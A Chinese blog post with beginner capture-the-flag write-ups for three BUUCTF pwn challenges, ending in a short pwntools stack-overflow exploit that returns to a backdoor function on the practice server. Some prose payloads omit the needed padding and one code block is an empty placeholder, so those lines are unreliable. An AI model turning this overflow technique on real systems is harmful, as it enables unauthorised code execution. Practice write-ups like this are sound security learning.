buuctf刷题(一)pwn

test_your_nc

在这里插入图片描述

idapro反编译一下,发现直接就system("/bin/sh");
这个直接用nc连一下,然后cat flag

rip

老规矩,checksec一下,
在这里插入图片描述
file 一下,64位,
在这里插入图片描述

扔进ida里面
在这里插入图片描述

发现shell,应该是个栈溢出
在这里插入图片描述
查看栈空间,
在这里插入图片描述
shell地址
在这里插入图片描述
构造payload=b’A’+p64(0x401186)
exp

在这里插入代码片

warmup_csaw_2016 1

运行一下
在这里插入图片描述
老规矩
checksec 一下
在这里插入图片描述
啥保护都没开
丢ida里面

在这里插入图片描述
sprintf后面的函数点击进去
在这里插入图片描述
发现cat flag
(sprintf的介绍:https://blog.csdn.net/nopoppy/article/details/52589745)
缓冲区为40h,我们将其覆盖到后门函数的地址为0x40060d
可以写出payload = b’A’ +p64(0x40060d)
exp为

from pwn import *
p = remote('node4.buuoj.cn',26279)
payload = b'a'*(0x40+8) + p64(0x40060D)
p.sendline(payload)
p.interactive()

posted @ 2022-04-08 21:23  续梦人  阅读(43)  评论(0)    收藏  举报